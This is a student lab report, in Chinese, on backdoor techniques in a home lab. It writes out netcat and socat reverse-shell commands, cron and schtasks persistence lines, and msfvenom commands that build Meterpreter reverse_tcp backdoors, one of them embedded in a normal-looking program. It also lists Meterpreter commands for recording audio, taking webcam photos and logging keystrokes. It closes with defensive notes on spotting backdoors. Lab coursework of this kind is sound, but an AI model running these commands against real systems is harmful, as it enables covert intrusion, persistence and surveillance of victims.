20242315 2025-2026-1 《网络与系统攻防技术》实验后门原理与实践实验报告
学号 20242315 2025-2026-1 《网络与系统攻防技术》实验后门原理与实践实验报告
目录
1. 基础知识
实验目的与基础知识总结:
本实验旨在学习 Netcat、Socat、Meterpreter 生成、投放、自启动技术,使用后门远程控制另一主机,获取目标主机音频、摄像头、击键记录等内容,并尝试提权;同时学习使用 MSF 生成 shellcode 并注入到缓冲区溢出程序 pwn1 中,获取反弹连接 Shell。
核心概念梳理:
- 后门(Backdoor):绕过安全性控制而获取对程序或系统访问权的方法。
- Netcat & Socat:Netcat 常被称为“网络瑞士军刀”,用于建立 TCP/UDP 连接;Socat 是功能更强大的网络工具,支持端口转发、伪终端等特性。
- Meterpreter:Metasploit 框架中的高级 Payload,以内存注入方式运行,隐蔽性较强,支持提权、录音录像、键盘记录等后渗透操作。
- Shellcode 与缓冲区溢出:Shellcode 是一段用于利用漏洞执行恶意操作的代码。缓冲区溢出是指程序向缓冲区填充超出其容量的数据,导致覆盖相邻内存(如 EIP),从而控制程序执行流跳转到 Shellcode。
2. 实验内容
本实验通过四种方法实现和启动后门:
- 使用 netcat 获取主机的 Shell 并配置 cron 定时任务;
- 使用 socat 获取主机的 Shell 并配置 Windows 任务计划;
- 使用 MSF meterpreter 生成后门程序并远程控制目标主机,获取其音频、摄像头与击键记录;
- 使用 MSF 生成 shellcode 并注入 pwn1 程序获取反弹连接 Shell。
实验环境:
攻击机为安装 Kali Linux 2026.2 的 VMware 虚拟机,靶机为 Windows11 主机,两台机器通过 VMnet8 虚拟网卡处于同一局域网内。具体网络配置如下:
| 设备 | 摘要 |
|---|---|
| 攻击机 | Kali Linux 2026.2 (IP: 192.168.64.128) |
| 靶机 | Windows 11 24H2 (IP: 192.168.64.1) |
| 网络 | VMware VMnet8 虚拟网卡, 192.168.64.0/24 网段 |

(图1:Kali 虚拟机网卡配置)

(图2:Windows 主机 VMnet8 网卡配置)
3. 实验过程
3.1 使用 netcat 获取主机的 Shell
3.1.1 环境准备
关闭 Windows 主机的防火墙与实时防护,避免拦截连接或查杀后门程序;确认两台主机网络互通,在 Kali 中 ping Windows 主机 192.168.64.1,结果 0% 丢包。

(图3:关闭 Windows Defender 防火墙)

(图4:Kali ping Windows 主机连通测试)
3.1.2 监听并获得虚拟机的 Shell
在 Windows 主机上,通过 ncat 开启监听端口 7777,等待连接。在 Kali 虚拟机中执行命令主动连接 Windows 主机的 7777 端口,连接成功后即把本机 Shell 的输入输出权完全交给远程主机。
nc 192.168.64.1 7777 -e /bin/sh

(图5:Windows 主机 ncat 监听 7777 端口)
连接成功后,Windows 主机就获得了 Kali 虚拟机的 Shell,可以执行 whoami、ls、pwd 等命令。

(图6:Windows 主机获得 Kali 的 Shell)
3.1.3 启动定时任务(cron)
Cron 是 Linux 下用来周期性地执行某种任务或等待处理某些事件的守护进程。在 Kali 中输入 crontab -e 编辑 cron 表,在文件末尾添加任务,表示每分钟自动执行一次反弹 Shell 命令,形成持久化后门。
* * * * * /bin/nc 192.168.64.1 7777 -e /bin/sh

(图7:编辑 cron 定时任务)
保存退出后,使用 crontab -l 查看时间表,确认任务写入成功。

(图8:查看 cron 定时任务)
3.2 使用 socat 获取主机的 Shell
3.2.1 环境准备
socat 是功能更强大的网络工具,支持端口转发、伪终端等特性。在 Windows(Cygwin 环境)上执行监听命令,一旦有客户端连接就为其启动 bash 并分配伪终端。在 Kali 中执行连接命令,成功获取 Windows 主机的 Shell。
# Windows端接收监听
socat tcp-listen:7788,reuseaddr,fork exec:'/bin/bash',pty,stderr
# Kali端连接
socat - tcp:192.168.64.1:7788

(图9:socat 反弹 Shell 交互界面)
3.2.2 设置定时任务(schtasks)
在 Windows 主机上使用 schtasks 创建每分钟执行一次后门程序的任务,实现后门持久化。
schtasks /create /sc minute /mo 1 /tn "20242315_zhangguanlun" /tr "C:\Users\leo\Desktop\20242315_zhangguanlun.exe"

(图10:创建 Windows 计划任务)
3.3 使用 MSF meterpreter 生成后门
3.3.1 后门生成
在 Kali 中使用 msfvenom 生成 Windows 平台的 Meterpreter 反弹 TCP 后门。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -f exe > /home/kali/exp2/20242315_backdoor.exe

(图11:msfvenom 生成后门文件)
3.3.2 文件传输
使用 socat 将后门文件传输到 Windows 主机,Windows 端先监听 8899 端口,Kali 端将文件发送过去,并在 Windows 目录中确认文件完整接收(7168 字节)。
# Windows端接收
socat tcp-listen:8899, fork, reuseaddr open:D:\backdoor\20242315_backdoor.exe,create
# Kali端发送
socat -u file:/home/kali/exp2/20242315_backdoor.exe tcp:192.168.64.1:8899

(图12:Windows 目录确认后门文件接收成功)
3.3.3 配置监听模块
在 Kali 中启动 msfconsole,配置 multi/handler 监听模块,运行后等待目标回连。在 Windows 主机上运行后门程序后,MSF 成功捕获连接,建立 Meterpreter 会话,攻击者获得目标主机的控制权。

(图13:MSF 配置监听并启动)

(图14:成功建立 Meterpreter 会话)
3.4 使用 Meterpreter 获取目标主机资源并尝试提权
3.4.1 获取音频、摄像头、击键记录
进入 Meterpreter 会话后,执行后渗透命令获取目标主机信息与敏感数据。
getuid # 查看当前用户
sysinfo # 查看系统信息
record_mic -d 10 # 录制10秒麦克风音频
webcam_snap # 摄像头拍照
keyscan_start # 开启键盘记录
keyscan_dump # 导出键盘记录
keyscan_stop # 停止键盘记录
ps # 查看进程列表

(图15:Meterpreter 获取系统信息、录音、摄像头、键盘记录)
键盘记录功能成功捕获目标主机的击键内容。

(图16:导出键盘击键记录)

(图17:导出键盘击键记录)
3.4.2 尝试提权
执行 getsystem 尝试提升到系统权限,结果提示 All pipe instances are busy,传统命名管道模拟、令牌复制等提权方式均失败,说明 Windows 11 高版本已修复相关漏洞,无法直接提权。

(图18:getsystem 提权失败)
3.5 使用 MSF 生成 shellcode,注入 pwn1 获取反弹连接 Shell
3.5.1 修改 Metasploit 源码,开启 ELF 段 RWE 权限
msfvenom 的 -x 模板注入默认生成的 ELF 段没有同时具备读写执行权限,无法正常运行 payload。修改 Metasploit 框架源码 lib/msf/util/exe/linux/x86.rb,修改 LOAD 段标志为 RWE(可读、可写、可执行),关闭 W^X 保护,使 shellcode 能够在内存中正常执行。修改完成后关闭所有 msfconsole,让源码生效。

(图19:修改 linux/x86.rb 源码设置 LOAD 段 RWE 权限)
3.5.2 使用 msfvenom 生成注入 payload 的 ELF 后门
以 pwn1 作为模板程序,使用 msfvenom 将 linux/x86/meterpreter/reverse_tcp 载荷嵌入 pwn1,生成新 ELF 后门文件。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -x pwn1 -f elf -o 20242315_pwn1012

(图20:msfvenom 生成 ELF 后门终端输出)
3.5.3 校验 ELF 程序段权限
执行 readelf 查看程序 Program Header,确认 LOAD 段权限标志为 RWE,验证修改生效。
readelf -lW 20242315_pwn1012
3.5.4 添加可执行权限
chmod +x 20242315_pwn1012
3.5.5 MSF 监听配置
新开终端启动 msfconsole,加载 handler 模块等待反弹连接。
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.64.128
set LPORT 8888
exploit
3.5.6 运行 ELF 后门获取 Meterpreter 会话
在第三个终端执行生成的后门程序:
./20242315_pwn1012

(图22:执行 ELF 后门命令终端截图)
程序运行后,攻击机 MSF 成功收到 Meterpreter 反弹会话。在 meterpreter 交互环境执行命令验证控制能力:
sysinfo
getuid
pwd
ls
ps

(图23:Meterpreter 会话,sysinfo、getuid 等命令输出结果)
3.5.7 原理说明
通过修改 ELF 文件段权限,将 meterpreter payload 植入原有 pwn1 可执行文件。运行程序时,优先执行植入的 shellcode,主动反向连接攻击机 IP 与端口,建立 Meterpreter 控制会话,实现基于正常程序伪装的 Linux 后门。
4. 问题及解决方案
问题1: 后门程序在 Windows 上运行后立即消失,无法建立会话。
解决方案: Windows Defender 实时防护识别并删除了后门 exe。将后门所在目录加入杀毒软件排除项,并在实验期间临时关闭实时保护,即可正常运行后门。
问题2: 使用 ncat 传输后门文件时出现大量乱码(This program cannot be run in DOS mode),文件损坏。
解决方案: 接收端未将二进制数据重定向保存到文件,而是直接打印到终端。应使用 ncat -l -p 端口 > 文件名 将收到的数据写入文件,或改用 socat 的 open:...create 方式接收文件。
问题3: Meterpreter 执行 keyscan_start 键盘记录时提示 Incorrect function。
解决方案: Windows 11 高版本安全机制限制,普通权限下无法加载键盘钩子;getsystem 提权也因 All pipe instances are busy 失败,说明传统提权漏洞已被修复。
问题4: 使用 msfvenom -x 注入 pwn1 生成的 ELF 无法运行,无法反弹 shell。
解决方案: Metasploit 默认生成 ELF 的 LOAD 段不具备 RWE 权限,W^X 保护阻止 shellcode 执行。修改 linux/x86.rb 源码,把 LOAD 段标志修改为 RWE。
问题5: 栈溢出注入 shellcode 时出现段错误。
解决方案: GDB 调试环境会额外加载环境变量导致栈地址偏移,直接运行与调试环境地址不一致。可在程序运行时 attach GDB 获取真实栈地址,或加大 NOP 雪橇长度提高命中率。
5. 学习感悟、思考等
本次实验我学习了后门原理与实践,内容包括:使用 netcat、socat 获取远程 Shell 并配置定时持久化任务,使用 MSF meterpreter 生成、投放、自启动后门并远程控制目标主机,获取其音频、摄像头、击键记录,并尝试提权;还学习了使用 MSF 生成 shellcode 并注入到 pwn1 缓冲区溢出程序中获取反弹连接 Shell。通过实验,我对后门程序的原理有了更深入的理解。
在实验过程中遇到了很多问题,包括杀毒软件查杀后门、文件传输乱码、键盘记录与提权失败、MSF 模板注入源码 Bug、栈地址偏移导致段错误等。在排查和解决这些问题的过程中,我学会了分析报错原因、查阅资料、修改源码,对网络攻防技术的实践有了更深的体会。总而言之,后门技术具有双面性,一方面可以用于安全评估和应急响应,另一方面一旦被恶意利用会造成严重危害,因此必须严格遵守法律法规,仅在授权环境中使用。
附加思考题解答:
- 列举你能想到的一个后门进入到你系统中的可能方式:
钓鱼邮件。通过钓鱼邮件诱导用户点击恶意链接或附件,触发恶意脚本在用户无感知的情况下静默安装后门程序。 - 列举你知道的后门如何启动起来(Windows 及 Linux)的方式:
Windows 下可通过开机自动(注册表 Run 键、启动文件夹、服务)、任务计划程序定时触发;Linux 下可通过 cron 定时任务、systemd 服务、bashrc 等 shell 启动文件等方式启动后门。 - Meterpreter 有哪些给你印象深刻的功能:
Meterpreter 功能非常强大,可以远程获取目标主机的音频、键盘击键、摄像头画面、屏幕截图等敏感资料,支持进程迁移、文件管理、系统命令执行、权限提升等操作,且以内存注入方式运行,隐蔽性较强。正因其破坏性强,必须在合法授权的测试环境中审慎使用。 - 如何发现自己系统有没有被安装后门:
可以查看进程列表,排查是否存在可疑的异常进程;查看任务计划程序(Windows)或 cron 表(Linux)是否存在异常定时任务;检查系统是否频繁主动向陌生主机发起网络连接;同时可分析系统日志和网络流量进行倒查,并定期使用杀毒软件进行全盘扫描。
浙公网安备 33010602011771号